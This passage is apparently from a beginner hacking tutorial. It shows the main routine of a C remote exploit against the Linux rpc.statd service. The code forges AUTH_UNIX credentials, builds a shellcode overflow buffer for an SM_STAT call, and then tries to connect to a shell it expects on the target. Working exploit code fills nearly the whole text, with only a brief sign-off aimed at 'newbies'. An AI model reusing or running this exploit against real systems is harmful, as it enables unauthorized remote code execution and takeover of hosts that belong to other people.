u_long bufpos = 0;



int sockp = RPC_ANYSOCK;



extern char *optarg;

extern int optind;

extern int opterr;

opterr = 0;





while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)

{

switch(ch)

{

case 't': usetcp = 1; break;

case 'p': sscanf(optarg, "%hu", &port); break;

case 'a': sscanf(optarg, "%lx", &bufpos); break;

case 'l': buflen = atoi(optarg); break;

case 'o': offset = atoi(optarg); break;

case 's': timeout = atoi(optarg); break;

case 'w': wipe = atoi(optarg); break;

case 'd': type = atoi(optarg); break;

default : usage(argv[0]);

}

}



if(!(target = argv[optind]))

{

fprintf(stderr, "No target host specified\n");

exit(EXIT_FAILURE);

}



if(type >= 0)

{

if(type >= sizeof types / sizeof types[0] - 1)

{

fprintf(stderr, "Invalid type\n");

exit(EXIT_FAILURE);

}



sc = types[type].code;

bufpos = types[type].bufpos;

buflen = types[type].buflen;

offset = types[type].offset;

wipe = types[type].wipe;

}



if(!bufpos)

{

fprintf(stderr, "No buffer address specified\n");

exit(EXIT_FAILURE);

}



bzero(&addr, sizeof addr);

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

addr.sin_addr = getip(target);



tv.tv_sec = timeout;

tv.tv_usec = 0;



if(!usetcp)

{

clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);

if(clnt == NULL)

{

clnt_pcreateerror("clntudp_create()");

exit(EXIT_FAILURE);

}

tvr.tv_sec = 2;

tvr.tv_usec = 0;

clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);

}

else

{

clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);

if(clnt == NULL)

{

clnt_pcreateerror("clnttcp_create()");

exit(EXIT_FAILURE);

}

}



/* AUTH_UNIX / AUTH_SYS authentication forgery */

clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);



buff = wizardry(sc, bufpos, buflen, offset, wipe);

smname.mon_name = buff;



res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,

(caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,

(caddr_t) &smres, tv);



if(res != RPC_SUCCESS)

{

clnt_perror(clnt, "clnt_call()");

printf("A timeout was expected. Attempting connection to shell..");

sleep(5); connection(addr);

printf("Failed\n");

}

else

{

printf("Failed - statd returned res_stat: (%s) state: %d\n",

smres.res_stat ? "failure" : "success", smres.state);

}



free(buff);

clnt_destroy(clnt);

return -1;

}

_________________________________



Well, that is all for now, hope you enjoyed the first in the Linux Series. This was quite lame and was strictly meant for newbies only, so all your uberhackers, kindly hang on.

Read more...